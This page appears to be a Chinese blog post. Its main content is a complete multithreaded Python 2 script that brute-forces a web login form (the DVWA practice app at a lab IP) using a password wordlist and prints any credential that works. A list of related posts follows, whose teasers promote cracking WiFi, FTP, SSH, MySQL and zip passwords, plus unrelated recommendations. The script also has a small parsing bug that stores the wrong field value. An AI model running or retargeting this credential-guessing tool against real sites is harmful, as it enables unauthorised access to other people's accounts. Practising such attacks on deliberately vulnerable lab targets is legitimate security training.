1. import urllib2
  2. import urllib
  3. import cookielib
  4. import threading
  5. import sys
  6. import Queue
  7. from HTMLParser import HTMLParser
  8. user_thread =10
  9. #这里登录名默认admin
  10. username ="admin"
  11. #pass.txt中保存密码文本文件
  12. wordlist_file ="pass.txt"
  13. resume =None
  14. #
  15. target_url ="http://192.168.31.113:8080/dvwa/login.php"
  16. target_post ="http://192.168.31.113:8080/dvwa/login.php"
  17. #用户名区域
  18. username_field="username"
  19. #密码区域
  20. password_field="password"
  21. #检查是否成功登录
  22. success_check="Welcome"
  23. class BruteParser(HTMLParser):
  24. def __init__(self):
  25. HTMLParser.__init__(self)
  26. self.tag_results={}
  27. def handle_starttag(self,tag,attrs):
  28. #找到<input>
  29. if tag=="input":
  30. tag_name=None
  31. tag_value=None
  32. # for example <input type="hidden" name="NXX" id="IDXX" value="VXX" />
  33. # name=type,value=hidden name=name,value=NXX name=id,value=IDXX name=value,value="VXX"
  34. #attrs中各标签的名字和值
  35. for name_tag,name_tag_value in attrs:
  36. #找到名字等于name的标签
  37. if name_tag=="name":
  38. #获得名字等于name的标签的值
  39. tag_name=name_tag_value
  40. #找到名字等于value的标签
  41. if name_tag=="value":
  42. #获得名字等于value的标签的值
  43. tag_value=name_tag_value
  44. # 将标签和标签的值放入tag_results{}
  45. if tag_name is not None:
  46. self.tag_results[tag_name]=name_tag_value
  47. class Bruter():
  48. def __init__(self):#注意__init__ 左右两边都是两个_
  49. #打开密码文件读取内容
  50. fd=open(wordlist_file,"rb")
  51. raw_words=fd.readlines()
  52. fd.close()
  53. found_resume=False
  54. #队列
  55. words=Queue.Queue()
  56. for word in raw_words:
  57. word=word.rstrip()
  58. if resume is not None:
  59. if found_resume:
  60. words.put(word)
  61. else:
  62. #如果中断,可以恢复
  63. if word==resume:
  64. found_resume=True
  65. print("resuming from"+resume)
  66. else:
  67. words.put(word)
  68. self.username=username
  69. self.password_q=words#密码再保存到password_q
  70. self.found=False#是否找到正确密码
  71. print("finish setting for: %s" % username)
  72. def web_bruter(self):
  73. #密码队列没读取完且没找到正确密码
  74. while not self.password_q.empty() and not self.found:
  75. brute=self.password_q.get().rstrip()
  76. #存放cookie
  77. jar=cookielib.FileCookieJar("cookies")
  78. opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  79. #爬取目标网站内容
  80. response=opener.open(target_url)
  81. page=response.read()
  82. print("plan to brute")
  83. #获得标签
  84. parser=BruteParser()
  85. parser.feed(page)
  86. post_tags=parser.tag_results
  87. #传值给用户名区域
  88. post_tags[username_field]=self.username
  89. #传值给密码区域
  90. post_tags[password_field]=brute
  91. #url编码post_tags
  92. login_data=urllib.urlencode(post_tags)
  93. login_response=opener.open(target_post,login_data)
  94. login_result=login_response.read()
  95. #检查是否成功登录
  96. if success_check in login_result:
  97. self.found=True
  98. print("success")
  99. print(username+":"+brute)
  100. # use more threads to start web_bruter
  101. def run_bruteforce(self):
  102. for i in range(user_thread):
  103. t=threading.Thread(target=self.web_bruter)
  104. t.start()
  105. bruter_obj=Bruter()
  106. bruter_obj.run_bruteforce()

python实现暴力破解的更多相关文章

  1. XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解

    XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...

  2. Python最新暴力破解WiFi,攻破所有密码限制,最强破解!

    暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...

  3. Python脚本暴力破解FTP口令(ftplib)

    目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...

  4. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  5. [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码

    家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...

  6. python 编写暴力破解mysql用户名密码

    本文摘自别人的,自己运行调试了一下#!/user/bin/env python#-*- coding:utf-8 -*- import pymysql#导入连接数据库的模块import sys cla ...

  7. 用python暴力破解压缩文件并不是万能,至少这个场景我告诉你密码你用代码也破解不了

    看到论坛上各种贴子写用python进行暴力破解的文章,于是自己也想去尝试一下,不试不知道,一试吓一跳,真的就像那句有名的”python由入门到放弃“,把论坛上别人的脚本全部自己敲一遍,运行不报错,但也 ...

  8. 最详细Python批量字典暴力破解zip密码

    工具破解 前两天在网上下来了一波项目案例,结果全是加密的压缩包,于是去网上找了一个压缩包破解的工具 苦于工具破解太慢,一个压缩包要好久,解压了三个之后就放弃了,准备另寻他法 密码字典 巧的是破解的三个 ...

  9. 4. DVWA亲测暴力破解

    LOW等级 我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块   我们先创建一个1.txt文件夹,把正确的账号密码写进去   我们输入 Username:1 Password: ...

随机推荐

  1. vue页面刷新重定向

    在App.vue中,添加如下代码: created(){ if(this.$router.path !== '/RealTimeMonitoring'){ this.$router.replace(' ...

  2. 使用ConstraintLayout(约束布局)构建响应式UI

    使用ConstraintLayout(约束布局)构建响应式UI 转 https://www.300168.com/yidong/show-2740.html     核心提示:ConstraintLa ...

  3. 002-demo业务说明

    一.demo基本业务功能介绍 只是demo,无完整功能,不断重构系统,以搭建 高可扩展性.高性能.大数据.高并发.分布式的系统架构 客户管理.商品管理.购物车.订单管理.库存管理 二.基本数据字典 说 ...

  4. osg qt 三维模型加载

    osg::ref_ptr<osg::Node> OSG_Qt_::operateMatrix() { osg::ref_ptr<osg::Group> group = new ...

  5. 阶段5 3.微服务项目【学成在线】_day16 Spring Security Oauth2_04-用户认证技术方案-SpringSecurityOauth2

    2.3 Spring security Oauth2认证解决方案 本项目采用 Spring security + Oauth2完成用户认证及用户授权,Spring security 是一个强大的和高度 ...

  6. 基于JOSE4J 实现的OAUTH TOKEN

    jose4j / JWT Examples View History JSON Web Token (JWT) Code Examples Producing and consuming a sign ...

  7. 【pep8规范】arc diff 不符合 pep 8 规范

    arc land 的时候,arc报错提示代码不符合pep8规范: 1.单行代码过长(括号中的换行不需要加 /) python代码换行加 / https://blog.csdn.net/codechel ...

  8. react Link标签 火狐失效怎么解决

    这个问题其实找了好多资料都没有具体的解决方法: 今天突然想到可能是层级嵌套出问题了,刚好有个bug也是关于这个的,已经亲测解决了 代码如下:火狐和谷歌都能正常的跳转 <Link to=" ...

  9. ADFS2016和ADFS代理的安装与配置

    一,ADFS安装教程 教程链接(包含安装和配置两个步骤): https://www.virtuallyboring.com/how-to-setup-microsoft-active-director ...

  10. SQL Server数据同步交换

    一.为了解决数据同步汇聚,数据分发,数据转换,数据维护等需求,TreeSoft将复杂的网状的同步链路变成了星型数据链路.     TreeSoft作为中间传输载体负责连接各种数据源,为各种异构数据库之 ...